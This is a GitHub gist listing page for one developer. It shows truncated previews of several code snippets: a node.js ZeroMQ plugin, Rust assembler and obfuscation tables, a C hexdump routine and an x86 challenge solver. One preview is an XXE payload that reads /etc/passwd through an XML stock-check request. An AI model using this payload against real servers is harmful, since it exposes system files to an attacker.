Skip to content

Instantly share code, notes, and snippets.

View molenzwiebel's full-sized avatar
😎
Hackerman

Thijs Molendijk molenzwiebel

😎
Hackerman
View GitHub Profile
@molenzwiebel
molenzwiebel / index.js
Created June 7, 2020 10:46
Example Hyperion pipeline plugin in node.js
const zmq = require("zeromq");
// Connect to the plugin manager located at `managerHost`, identify
// ourselves as `id` and request connection information. Returns an
// object of { pull: <sub info>, push: <pub info> }.
async function retrieveConnectionDetails(id, managerHost) {
const sock = new zmq.Request();
await sock.connect(managerHost); // connect to plugin manager
// Request pull info.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
use std::{
cell::RefCell,
collections::HashMap,
ops::{
AddAssign, Deref, DivAssign, Index, IndexMut, MulAssign, ShlAssign, ShrAssign, SubAssign,
},
rc::Rc,
};
use crate::op::{Insn, Opcode, PartialInsn, U16OrLabel};
#include <stdio.h>
#include <inttypes.h>
#include <string.h>
void hexdump(void *ptr, int buflen) {
unsigned char *buf = (unsigned char*)ptr;
int i, j;
for (i=0; i<buflen; i+=16) {
printf("%06x: ", i);
/// Character substitutions for obfuscation purposes.
const SUBST_TABLE: &[(char, [&'static str; 4])] = &[
('Q', ["QP", "QD", "QW", "Q4"]),
('-', ["QL", "QB", "QO", "Q5"]),
('_', ["QC", "QN", "QT", "Q9"]),
('X', ["XU", "XN", "XH", "X3"]),
('!', ["XW", "XS", "XZ", "X0"]),
];
/// Character substitutions for deobfuscation purposes.
@molenzwiebel
molenzwiebel / main.rs
Created August 25, 2024 16:19
pattern match partial solve for secure computing
use std::collections::{HashMap, HashSet};
use iced_x86::{Decoder, Encoder, Instruction, Mnemonic, OpKind, Register};
#[derive(Debug, Clone, Copy)]
enum RegValValue {
Immediate(u64),
Register(Register),
}